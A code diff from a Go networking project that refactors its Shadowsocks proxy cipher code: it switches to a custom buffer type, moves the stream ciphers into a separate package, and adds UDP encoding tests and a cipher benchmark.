golang.org/x/time v0.0.0-20211116232009-f0f3c7e86c11 h1:GZokNIeuVkl3aZHJchRrr13WCsols02MLUcz1U9is6M=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
package shadowsocks
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
|
||||
"sing/common/buf"
|
||||
"sing/common/exceptions"
|
||||
"sing/common/list"
|
||||
)
|
||||
|
||||
type Cipher interface {
|
||||
|
@ -12,26 +12,33 @@ type Cipher interface {
|
|||
IVSize() int
|
||||
NewEncryptionWriter(key []byte, iv []byte, writer io.Writer) (io.Writer, error)
|
||||
NewDecryptionReader(key []byte, iv []byte, reader io.Reader) (io.Reader, error)
|
||||
EncodePacket(key []byte, buffer *bytes.Buffer) error
|
||||
DecodePacket(key []byte, buffer *bytes.Buffer) error
|
||||
EncodePacket(key []byte, buffer *buf.Buffer) error
|
||||
DecodePacket(key []byte, buffer *buf.Buffer) error
|
||||
}
|
||||
|
||||
type CipherCreator func() Cipher
|
||||
|
||||
var cipherList map[string]CipherCreator
|
||||
var cipherList *list.List[string]
|
||||
var cipherMap map[string]CipherCreator
|
||||
|
||||
func init() {
|
||||
cipherList = make(map[string]CipherCreator)
|
||||
cipherList = new(list.List[string])
|
||||
cipherMap = make(map[string]CipherCreator)
|
||||
}
|
||||
|
||||
func RegisterCipher(method string, creator CipherCreator) {
|
||||
cipherList[method] = creator
|
||||
cipherList.PushBack(method)
|
||||
cipherMap[method] = creator
|
||||
}
|
||||
|
||||
func CreateCipher(method string) (Cipher, error) {
|
||||
creator := cipherList[method]
|
||||
creator := cipherMap[method]
|
||||
if creator != nil {
|
||||
return creator(), nil
|
||||
}
|
||||
return nil, exceptions.New("unsupported method: ", method)
|
||||
}
|
||||
|
||||
func ListCiphers() []string {
|
||||
return cipherList.Array()
|
||||
}
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
package shadowsocks
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/binary"
|
||||
|
@ -14,6 +13,8 @@ import (
|
|||
"sing/common/rw"
|
||||
)
|
||||
|
||||
const PacketLengthBufferSize = 2
|
||||
|
||||
func init() {
|
||||
RegisterCipher("aes-128-gcm", func() Cipher {
|
||||
return &AEADCipher{
|
||||
|
@ -94,31 +95,29 @@ func (c *AEADCipher) NewDecryptionReader(key []byte, iv []byte, reader io.Reader
|
|||
return NewAEADReader(reader, c.Constructor(Kdf(key, iv, c.KeyLength))), nil
|
||||
}
|
||||
|
||||
func (c *AEADCipher) EncodePacket(key []byte, buffer *bytes.Buffer) error {
|
||||
aead := c.Constructor(Kdf(key, buffer.Bytes()[:c.IVLength], c.KeyLength))
|
||||
end := buffer.Len()
|
||||
buffer.Grow(aead.Overhead())
|
||||
aead.Seal(buffer.Bytes()[:c.IVLength], rw.ZeroBytes[:aead.NonceSize()], buffer.Bytes()[c.IVLength:end], nil)
|
||||
func (c *AEADCipher) EncodePacket(key []byte, buffer *buf.Buffer) error {
|
||||
aead := c.Constructor(Kdf(key, buffer.To(c.IVLength), c.KeyLength))
|
||||
aead.Seal(buffer.From(c.IVLength)[:0], rw.ZeroBytes[:aead.NonceSize()], buffer.From(c.IVLength), nil)
|
||||
buffer.Extend(aead.Overhead())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *AEADCipher) DecodePacket(key []byte, buffer *bytes.Buffer) error {
|
||||
func (c *AEADCipher) DecodePacket(key []byte, buffer *buf.Buffer) error {
|
||||
if buffer.Len() < c.IVLength {
|
||||
return exceptions.New("bad packet")
|
||||
}
|
||||
aead := c.Constructor(Kdf(key, buffer.Bytes()[:c.IVLength], c.KeyLength))
|
||||
_, err := aead.Open(buffer.Bytes()[:c.IVLength], rw.ZeroBytes[:aead.NonceSize()], buffer.Bytes()[c.IVLength:], nil)
|
||||
aead := c.Constructor(Kdf(key, buffer.To(c.IVLength), c.KeyLength))
|
||||
packet, err := aead.Open(buffer.Index(0), rw.ZeroBytes[:aead.NonceSize()], buffer.From(c.IVLength), nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
buffer.Truncate(aead.Overhead())
|
||||
buffer.Truncate(len(packet))
|
||||
return nil
|
||||
}
|
||||
|
||||
type AEADReader struct {
|
||||
upstream io.Reader
|
||||
cipher cipher.AEAD
|
||||
buffer *bytes.Buffer
|
||||
data []byte
|
||||
nonce []byte
|
||||
index int
|
||||
|
@ -126,17 +125,18 @@ type AEADReader struct {
|
|||
}
|
||||
|
||||
func NewAEADReader(upstream io.Reader, cipher cipher.AEAD) *AEADReader {
|
||||
buffer := buf.New()
|
||||
buffer.Grow(MaxPacketSize)
|
||||
return &AEADReader{
|
||||
upstream: upstream,
|
||||
cipher: cipher,
|
||||
buffer: buffer,
|
||||
data: buffer.Bytes(),
|
||||
data: buf.GetBytes(),
|
||||
nonce: make([]byte, cipher.NonceSize()),
|
||||
}
|
||||
}
|
||||
|
||||
func (r *AEADReader) Upstream() io.Reader {
|
||||
return r.upstream
|
||||
}
|
||||
|
||||
func (r *AEADReader) Read(b []byte) (n int, err error) {
|
||||
if r.cached > 0 {
|
||||
n = copy(b, r.data[r.index:r.index+r.cached])
|
||||
|
@ -187,34 +187,67 @@ func (r *AEADReader) Read(b []byte) (n int, err error) {
|
|||
}
|
||||
|
||||
func (r *AEADReader) Close() error {
|
||||
buf.Release(r.buffer)
|
||||
if r.data != nil {
|
||||
buf.PutBytes(r.data)
|
||||
r.data = nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type AEADWriter struct {
|
||||
upstream io.Writer
|
||||
cipher cipher.AEAD
|
||||
buffer *bytes.Buffer
|
||||
data []byte
|
||||
nonce []byte
|
||||
upstream io.Writer
|
||||
cipher cipher.AEAD
|
||||
data []byte
|
||||
nonce []byte
|
||||
maxDataSize int
|
||||
}
|
||||
|
||||
func NewAEADWriter(upstream io.Writer, cipher cipher.AEAD) *AEADWriter {
|
||||
buffer := buf.New()
|
||||
buffer.Grow(MaxPacketSize)
|
||||
return &AEADWriter{
|
||||
upstream: upstream,
|
||||
cipher: cipher,
|
||||
buffer: buffer,
|
||||
data: buffer.Bytes(),
|
||||
nonce: make([]byte, cipher.NonceSize()),
|
||||
upstream: upstream,
|
||||
cipher: cipher,
|
||||
data: buf.GetBytes(),
|
||||
nonce: make([]byte, cipher.NonceSize()),
|
||||
maxDataSize: MaxPacketSize - PacketLengthBufferSize - cipher.Overhead()*2,
|
||||
}
|
||||
}
|
||||
|
||||
func (w *AEADWriter) Write(p []byte) (n int, err error) {
|
||||
maxDataSize := MaxPacketSize - PacketLengthBufferSize - w.cipher.Overhead()*2
|
||||
func (w *AEADWriter) Upstream() io.Writer {
|
||||
return w.upstream
|
||||
}
|
||||
|
||||
for _, data := range buf.ForeachN(p, maxDataSize) {
|
||||
func (w *AEADWriter) Process(p []byte) (n int, buffer *buf.Buffer, flush bool, err error) {
|
||||
if len(p) > w.maxDataSize {
|
||||
n, err = w.Write(p)
|
||||
err = &rw.DirectException{
|
||||
Suppressed: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
binary.BigEndian.PutUint16(w.data[:PacketLengthBufferSize], uint16(len(p)))
|
||||
encryptedLength := w.cipher.Seal(w.data[:0], w.nonce, w.data[:PacketLengthBufferSize], nil)
|
||||
increaseNonce(w.nonce)
|
||||
start := len(encryptedLength)
|
||||
|
||||
/*
|
||||
no usage
|
||||
if cap(p) > len(p)+PacketLengthBufferSize+2*w.cipher.Overhead() {
|
||||
packet := w.cipher.Seal(p[:start], w.nonce, p, nil)
|
||||
increaseNonce(w.nonce)
|
||||
copy(p[:start], encryptedLength)
|
||||
n = start + len(packet)
|
||||
return
|
||||
}
|
||||
*/
|
||||
|
||||
packet := w.cipher.Seal(w.data[:start], w.nonce, p, nil)
|
||||
increaseNonce(w.nonce)
|
||||
return 0, buf.As(packet), false, err
|
||||
}
|
||||
|
||||
func (w *AEADWriter) Write(p []byte) (n int, err error) {
|
||||
for _, data := range buf.ForeachN(p, w.maxDataSize) {
|
||||
|
||||
binary.BigEndian.PutUint16(w.data[:PacketLengthBufferSize], uint16(len(data)))
|
||||
w.cipher.Seal(w.data[:0], w.nonce, w.data[:PacketLengthBufferSize], nil)
|
||||
|
@ -235,7 +268,10 @@ func (w *AEADWriter) Write(p []byte) (n int, err error) {
|
|||
}
|
||||
|
||||
func (w *AEADWriter) Close() error {
|
||||
buf.Release(w.buffer)
|
||||
if w.data != nil {
|
||||
buf.PutBytes(w.data)
|
||||
w.data = nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
|
|
|
@ -1,8 +1,9 @@
|
|||
package shadowsocks
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
|
||||
"sing/common/buf"
|
||||
)
|
||||
|
||||
func init() {
|
||||
|
@ -29,10 +30,10 @@ func (c *NoneCipher) NewDecryptionReader(_ []byte, _ []byte, reader io.Reader) (
|
|||
return reader, nil
|
||||
}
|
||||
|
||||
func (c *NoneCipher) EncodePacket([]byte, *bytes.Buffer) error {
|
||||
func (c *NoneCipher) EncodePacket([]byte, *buf.Buffer) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *NoneCipher) DecodePacket([]byte, *bytes.Buffer) error {
|
||||
func (c *NoneCipher) DecodePacket([]byte, *buf.Buffer) error {
|
||||
return nil
|
||||
}
|
||||
|
|
|
@ -5,6 +5,7 @@ import (
|
|||
"bytes"
|
||||
"io"
|
||||
"net"
|
||||
"sing/common/rw"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
@ -18,19 +19,19 @@ import (
|
|||
"sing/common/crypto"
|
||||
"sing/common/socksaddr"
|
||||
"sing/protocol/shadowsocks"
|
||||
_ "sing/protocol/shadowsocks/shadowstream"
|
||||
)
|
||||
|
||||
func TestShadowsocksTCP(t *testing.T) {
|
||||
func TestShadowsocks(t *testing.T) {
|
||||
for index := 1; index <= int(vs.CipherType_XCHACHA20); index++ {
|
||||
if index == 0 {
|
||||
continue
|
||||
}
|
||||
cipherType := vs.CipherType(index)
|
||||
cipher := strings.ReplaceAll(strings.ToLower(cipherType.String()), "_", "-")
|
||||
t.Log("Test", cipher, "server")
|
||||
testShadowsocksServerTCPWithCipher(t, cipherType, cipher)
|
||||
t.Log("Test", cipher, "client")
|
||||
testShadowsocksClientTCPWithCipher(t, cipherType, cipher)
|
||||
t.Log("Test", cipher, "udp")
|
||||
testShadowsocksUDPWithCipher(t, cipherType, cipher)
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -43,7 +44,9 @@ func testShadowsocksServerTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
}
|
||||
key := shadowsocks.Key([]byte(password), cipher.KeySize())
|
||||
address := socksaddr.AddrFromFqdn("internal.sagernet.org")
|
||||
data := crypto.RandomBytes(1024)
|
||||
data := buf.New()
|
||||
defer data.Release()
|
||||
data.WriteRandom(1024)
|
||||
|
||||
protoAccount := &vs.Account{
|
||||
Password: password,
|
||||
|
@ -84,10 +87,7 @@ func testShadowsocksServerTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
return
|
||||
}
|
||||
conn := vb.NewConnection(vb.ConnectionOutputMulti(reader), vb.ConnectionInputMulti(writer))
|
||||
buffer := vb.New()
|
||||
defer buffer.Release()
|
||||
buffer.Write(data)
|
||||
_, err = conn.Write(buffer.Bytes())
|
||||
_, err = conn.Write(data.ToOwned().Bytes())
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
return
|
||||
|
@ -98,7 +98,7 @@ func testShadowsocksServerTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
t.Error(err)
|
||||
return
|
||||
}
|
||||
if bytes.Compare(clientRead, data) > 0 {
|
||||
if bytes.Compare(clientRead, data.Bytes()) > 0 {
|
||||
t.Error("bad response data")
|
||||
return
|
||||
}
|
||||
|
@ -117,6 +117,7 @@ func testShadowsocksServerTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer common.Close(reader)
|
||||
|
||||
addr, port, err := shadowsocks.AddressSerializer.ReadAddressAndPort(reader)
|
||||
if err != nil {
|
||||
|
@ -144,7 +145,7 @@ func testShadowsocksServerTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if bytes.Compare(serverRead, data) > 0 {
|
||||
if bytes.Compare(serverRead, data.Bytes()) > 0 {
|
||||
t.Fatal("bad request data")
|
||||
}
|
||||
|
||||
|
@ -152,10 +153,9 @@ func testShadowsocksServerTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
buffer := buf.New()
|
||||
defer buf.Release(buffer)
|
||||
buffer.Write(data)
|
||||
_, err = writer.Write(buffer.Bytes())
|
||||
writer = rw.GetWriter(writer)
|
||||
defer common.Close(writer)
|
||||
_, err = writer.Write(data.ToOwned().Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
@ -163,6 +163,41 @@ func testShadowsocksServerTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
wg.Wait()
|
||||
}
|
||||
|
||||
func BenchmarkShadowsocks(b *testing.B) {
|
||||
b.ReportAllocs()
|
||||
for _, cipher := range shadowsocks.ListCiphers() {
|
||||
b.Run(cipher, func(b *testing.B) {
|
||||
benchmarkShadowsocksCipher(b, cipher, 14*1024)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func benchmarkShadowsocksCipher(b *testing.B, method string, data int) {
|
||||
b.StopTimer()
|
||||
b.ResetTimer()
|
||||
b.SetBytes(int64(data))
|
||||
cipher, _ := shadowsocks.CreateCipher(method)
|
||||
iv := buf.New()
|
||||
defer iv.Release()
|
||||
iv.WriteRandom(cipher.IVSize())
|
||||
writer, _ := cipher.NewEncryptionWriter(shadowsocks.Key([]byte("test"), cipher.KeySize()), iv.Bytes(), io.Discard)
|
||||
defer common.Close(writer)
|
||||
|
||||
buffer := buf.New()
|
||||
defer buffer.Release()
|
||||
buffer.Extend(data)
|
||||
|
||||
b.StartTimer()
|
||||
if output, ok := writer.(rw.OutputStream); ok {
|
||||
for i := 0; i < b.N; i++ {
|
||||
output.Process(buffer.Bytes())
|
||||
}
|
||||
} else {
|
||||
writer.Write(buffer.Bytes())
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func testShadowsocksClientTCPWithCipher(t *testing.T, cipherType vs.CipherType, cipherName string) {
|
||||
password := "fuck me till the daylight"
|
||||
cipher, err := shadowsocks.CreateCipher(cipherName)
|
||||
|
@ -172,7 +207,9 @@ func testShadowsocksClientTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
}
|
||||
key := shadowsocks.Key([]byte(password), cipher.KeySize())
|
||||
address := socksaddr.AddrFromFqdn("internal.sagernet.org")
|
||||
data := crypto.RandomBytes(1024)
|
||||
data := buf.New()
|
||||
data.WriteRandom(1024)
|
||||
defer data.Release()
|
||||
|
||||
protoAccount := &vs.Account{
|
||||
Password: password,
|
||||
|
@ -214,10 +251,7 @@ func testShadowsocksClientTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
return
|
||||
}
|
||||
conn := vb.NewConnection(vb.ConnectionOutputMulti(reader), vb.ConnectionInputMulti(writer))
|
||||
buffer := vb.New()
|
||||
defer buffer.Release()
|
||||
buffer.Write(data)
|
||||
_, err = conn.Write(buffer.Bytes())
|
||||
_, err = conn.Write(data.Bytes())
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
return
|
||||
|
@ -228,7 +262,7 @@ func testShadowsocksClientTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
t.Error(err)
|
||||
return
|
||||
}
|
||||
if bytes.Compare(serverRead, data) > 0 {
|
||||
if bytes.Compare(serverRead, data.Bytes()) > 0 {
|
||||
t.Error("bad request data")
|
||||
return
|
||||
}
|
||||
|
@ -245,15 +279,13 @@ func testShadowsocksClientTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer common.Close(ew)
|
||||
bw := bufio.NewWriter(ew)
|
||||
err = shadowsocks.AddressSerializer.WriteAddressAndPort(bw, address, 443)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
buffer := buf.New()
|
||||
defer buf.Release(buffer)
|
||||
buffer.Write(data)
|
||||
_, err = bw.Write(buffer.Bytes())
|
||||
_, err = bw.Write(data.ToOwned().Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
@ -274,15 +306,70 @@ func testShadowsocksClientTCPWithCipher(t *testing.T, cipherType vs.CipherType,
|
|||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer common.Close(input)
|
||||
clientRead := make([]byte, 1024)
|
||||
_, err = io.ReadFull(input, clientRead)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if bytes.Compare(clientRead, data) > 0 {
|
||||
if bytes.Compare(clientRead, data.Bytes()) > 0 {
|
||||
t.Fatal("bad response data")
|
||||
}
|
||||
|
||||
client.Close()
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func testShadowsocksUDPWithCipher(t *testing.T, cipherType vs.CipherType, cipherName string) {
|
||||
password := "fuck me till the daylight"
|
||||
cipher, err := shadowsocks.CreateCipher(cipherName)
|
||||
if err != nil {
|
||||
t.Log("Skip unsupported method: ", cipherName)
|
||||
return
|
||||
}
|
||||
key := shadowsocks.Key([]byte(password), cipher.KeySize())
|
||||
address := socksaddr.AddrFromFqdn("internal.sagernet.org")
|
||||
data := buf.New()
|
||||
defer data.Release()
|
||||
data.WriteRandom(1024)
|
||||
|
||||
protoAccount := &vs.Account{
|
||||
Password: password,
|
||||
CipherType: cipherType,
|
||||
}
|
||||
memoryAccount, err := protoAccount.AsAccount()
|
||||
common.Must(err)
|
||||
memoryUser := &vp.MemoryUser{
|
||||
Account: memoryAccount,
|
||||
}
|
||||
|
||||
req := &vp.RequestHeader{
|
||||
Version: vs.Version,
|
||||
Command: vp.RequestCommandUDP,
|
||||
Address: vn.DomainAddress(address.Fqdn()),
|
||||
Port: 443,
|
||||
User: memoryUser,
|
||||
}
|
||||
packet, err := vs.EncodeUDPPacket(req, data.Bytes(), nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
buffer := buf.New()
|
||||
defer buffer.Release()
|
||||
buffer.Write(packet.BytesTo(int32(cipher.IVSize())))
|
||||
err = shadowsocks.AddressSerializer.WriteAddressAndPort(buffer, address, 443)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
buffer.Write(data.Bytes())
|
||||
|
||||
err = cipher.EncodePacket(key, buffer)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if bytes.Compare(packet.Bytes(), buffer.Bytes()) > 0 {
|
||||
t.Fatal("bad request data\n", packet.Bytes(), "\n", buffer.Bytes())
|
||||
}
|
||||
}
|
||||
|
|
|
@ -3,17 +3,16 @@ package shadowsocks
|
|||
import (
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"hash/crc32"
|
||||
"io"
|
||||
"math/rand"
|
||||
|
||||
"golang.org/x/crypto/hkdf"
|
||||
"sing/common"
|
||||
"sing/common/socksaddr"
|
||||
)
|
||||
|
||||
const (
|
||||
MaxPacketSize = 16*1024 - 1
|
||||
PacketLengthBufferSize = 2
|
||||
)
|
||||
const MaxPacketSize = 16*1024 - 1
|
||||
|
||||
func Kdf(key, iv []byte, keyLength int) []byte {
|
||||
subKey := make([]byte, keyLength)
|
||||
|
@ -44,6 +43,14 @@ func Key(password []byte, keySize int) []byte {
|
|||
return m[:keySize]
|
||||
}
|
||||
|
||||
func RemapToPrintable(input []byte) {
|
||||
const charSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./:;<=>?@[]^_`{|}~\\\""
|
||||
seed := rand.New(rand.NewSource(int64(crc32.ChecksumIEEE(input))))
|
||||
for i := range input {
|
||||
input[i] = charSet[seed.Intn(len(charSet))]
|
||||
}
|
||||
}
|
||||
|
||||
var AddressSerializer = socksaddr.NewSerializer(
|
||||
socksaddr.AddressFamilyByte(0x01, socksaddr.AddressFamilyIPv4),
|
||||
socksaddr.AddressFamilyByte(0x04, socksaddr.AddressFamilyIPv6),
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
//go:build !no_shadowsocks_stream && !(arm64 || ppc64le || s390x)
|
||||
//go:build !(arm64 || ppc64le || s390x)
|
||||
|
||||
package shadowsocks
|
||||
package shadowstream
|
||||
|
||||
import (
|
||||
"crypto/cipher"
|
||||
|
||||
"github.com/aead/chacha20"
|
||||
"github.com/aead/chacha20/chacha"
|
||||
"sing/protocol/shadowsocks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
RegisterCipher("chacha20", func() Cipher {
|
||||
shadowsocks.RegisterCipher("chacha20", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: chacha.KeySize,
|
||||
IVLength: chacha.NonceSize,
|
||||
|
@ -22,7 +23,7 @@ func init() {
|
|||
},
|
||||
}
|
||||
})
|
||||
RegisterCipher("xchacha20", func() Cipher {
|
||||
shadowsocks.RegisterCipher("xchacha20", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: chacha.KeySize,
|
||||
IVLength: chacha.XNonceSize,
|
|
@ -1,15 +1,16 @@
|
|||
//go:build !no_shadowsocks_stream && (arm64 || ppc64le || s390x)
|
||||
//go:build arm64 || ppc64le || s390x
|
||||
|
||||
package shadowsocks
|
||||
package shadowstream
|
||||
|
||||
import (
|
||||
"crypto/cipher"
|
||||
|
||||
"golang.org/x/crypto/chacha20"
|
||||
"sing/protocol/shadowsocks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
RegisterCipher("chacha20", func() Cipher {
|
||||
shadowsocks.RegisterCipher("chacha20", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: chacha20.KeySize,
|
||||
IVLength: chacha20.NonceSize,
|
||||
|
@ -21,7 +22,7 @@ func init() {
|
|||
},
|
||||
}
|
||||
})
|
||||
RegisterCipher("xchacha20", func() Cipher {
|
||||
shadowsocks.RegisterCipher("xchacha20", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: chacha20.KeySize,
|
||||
IVLength: chacha20.NonceSizeX,
|
|
@ -1,9 +1,6 @@
|
|||
//go:build !no_shadowsocks_stream
|
||||
|
||||
package shadowsocks
|
||||
package shadowstream
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/des"
|
||||
|
@ -21,12 +18,14 @@ import (
|
|||
"github.com/kierdavis/cfb8"
|
||||
"golang.org/x/crypto/blowfish"
|
||||
"golang.org/x/crypto/cast5"
|
||||
"sing/common/buf"
|
||||
"sing/common/crypto"
|
||||
"sing/common/exceptions"
|
||||
"sing/protocol/shadowsocks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
RegisterCipher("aes-128-ctr", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-128-ctr", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -34,7 +33,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(aes.NewCipher, cipher.NewCTR),
|
||||
}
|
||||
})
|
||||
RegisterCipher("aes-192-ctr", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-192-ctr", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 24,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -42,7 +41,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(aes.NewCipher, cipher.NewCTR),
|
||||
}
|
||||
})
|
||||
RegisterCipher("aes-256-ctr", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-256-ctr", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 32,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -51,7 +50,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("aes-128-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-128-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -59,7 +58,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(aes.NewCipher, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("aes-192-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-192-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 24,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -67,7 +66,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(aes.NewCipher, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("aes-256-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-256-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 32,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -76,7 +75,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("aes-128-cfb8", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-128-cfb8", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -84,7 +83,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(aes.NewCipher, cfb8.NewDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("aes-192-cfb8", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-192-cfb8", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 24,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -92,7 +91,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(aes.NewCipher, cfb8.NewDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("aes-256-cfb8", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-256-cfb8", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 32,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -101,7 +100,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("aes-128-ofb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-128-ofb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -109,7 +108,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(aes.NewCipher, cipher.NewOFB),
|
||||
}
|
||||
})
|
||||
RegisterCipher("aes-192-ofb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-192-ofb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 24,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -117,7 +116,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(aes.NewCipher, cipher.NewOFB),
|
||||
}
|
||||
})
|
||||
RegisterCipher("aes-256-ofb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("aes-256-ofb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 32,
|
||||
IVLength: aes.BlockSize,
|
||||
|
@ -126,7 +125,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("rc4", func() Cipher {
|
||||
shadowsocks.RegisterCipher("rc4", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: 16,
|
||||
|
@ -138,7 +137,7 @@ func init() {
|
|||
},
|
||||
}
|
||||
})
|
||||
RegisterCipher("rc4-md5", func() Cipher {
|
||||
shadowsocks.RegisterCipher("rc4-md5", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: 16,
|
||||
|
@ -157,7 +156,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("bf-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("bf-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: blowfish.BlockSize,
|
||||
|
@ -165,7 +164,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(func(key []byte) (cipher.Block, error) { return blowfish.NewCipher(key) }, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
